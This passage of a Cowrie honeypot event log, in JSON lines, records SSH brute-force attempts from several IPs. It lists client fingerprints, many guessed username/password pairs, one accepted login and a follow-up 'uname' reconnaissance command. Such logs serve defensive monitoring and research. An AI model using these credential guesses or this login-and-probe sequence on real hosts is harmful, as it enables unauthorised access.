0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:02.386003Z","src_ip":"176.65.132.129","session":"cb61e1421274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:02.635322Z","src_ip":"176.65.132.129","session":"cb61e1421274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:03.722275Z","src_ip":"176.65.132.129","session":"cb61e1421274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ce62124f3c","protocol":"ssh","message":"New connection: 176.65.132.129:42228 (159.203.135.109:22) [session: 12ce62124f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.615850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.627525Z","src_ip":"176.65.132.129","session":"12ce62124f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.710637Z","src_ip":"176.65.132.129","session":"12ce62124f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":41226,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa3e9bdfd737","protocol":"ssh","message":"New connection: 62.54.176.203:41226 (159.203.135.109:22) [session: aa3e9bdfd737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.871503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.881823Z","src_ip":"62.54.176.203","session":"aa3e9bdfd737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:05.970607Z","src_ip":"176.65.132.129","session":"12ce62124f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:06.076264Z","src_ip":"62.54.176.203","session":"aa3e9bdfd737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level42","message":"login attempt [root/level42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:06.555021Z","src_ip":"62.54.176.203","session":"aa3e9bdfd737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:07.134444Z","src_ip":"176.65.132.129","session":"12ce62124f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:07.667820Z","src_ip":"62.54.176.203","session":"aa3e9bdfd737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32834,"dst_ip":"159.203.135.109","dst_port":22,"session":"1becb51097fa","protocol":"ssh","message":"New connection: 176.65.132.129:32834 (159.203.135.109:22) [session: 1becb51097fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:08.834294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:08.840076Z","src_ip":"176.65.132.129","session":"1becb51097fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:08.930758Z","src_ip":"176.65.132.129","session":"1becb51097fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:09.179645Z","src_ip":"176.65.132.129","session":"1becb51097fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:10.269378Z","src_ip":"176.65.132.129","session":"1becb51097fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":37202,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3448f81eeb5","protocol":"ssh","message":"New connection: 101.32.240.31:37202 (159.203.135.109:22) [session: a3448f81eeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:11.574623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:11.578758Z","src_ip":"101.32.240.31","session":"a3448f81eeb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:11.811083Z","src_ip":"101.32.240.31","session":"a3448f81eeb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3650f78187b1","protocol":"ssh","message":"New connection: 176.65.132.129:32836 (159.203.135.109:22) [session: 3650f78187b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:12.127291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:12.133055Z","src_ip":"176.65.132.129","session":"3650f78187b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:12.215973Z","src_ip":"176.65.132.129","session":"3650f78187b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:12.607909Z","src_ip":"176.65.132.129","session":"3650f78187b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12#$","message":"login attempt [root/Admin@12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:12.770082Z","src_ip":"101.32.240.31","session":"a3448f81eeb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:13.695220Z","src_ip":"176.65.132.129","session":"3650f78187b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:14.004802Z","src_ip":"101.32.240.31","session":"a3448f81eeb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":41836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5beaecc6fe","protocol":"ssh","message":"New connection: 186.13.24.118:41836 (10.17.0.5:22) [session: 6c5beaecc6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.222352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.228469Z","src_ip":"186.13.24.118","session":"6c5beaecc6fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.384074Z","src_ip":"186.13.24.118","session":"6c5beaecc6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0058434009552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.439156Z","src_ip":"152.42.224.71","session":"ce5d20ab3ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32850,"dst_ip":"159.203.135.109","dst_port":22,"session":"13354081883c","protocol":"ssh","message":"New connection: 176.65.132.129:32850 (159.203.135.109:22) [session: 13354081883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.495566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.501302Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.588885Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:15.842828Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.089892Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.097995Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navnath","message":"login attempt [root/navnath] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.109507Z","src_ip":"186.13.24.118","session":"6c5beaecc6fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":33792,"dst_ip":"159.203.135.109","dst_port":22,"session":"92dde06d0a89","protocol":"ssh","message":"New connection: 45.132.125.41:33792 (159.203.135.109:22) [session: 92dde06d0a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.113585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.120710Z","src_ip":"45.132.125.41","session":"92dde06d0a89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.189694Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.202503Z","src_ip":"176.65.132.129","session":"13354081883c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.223798Z","src_ip":"45.132.125.41","session":"92dde06d0a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:16.628979Z","src_ip":"45.132.125.41","session":"92dde06d0a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:17.268654Z","src_ip":"186.13.24.118","session":"6c5beaecc6fe","protocol":"ssh"}
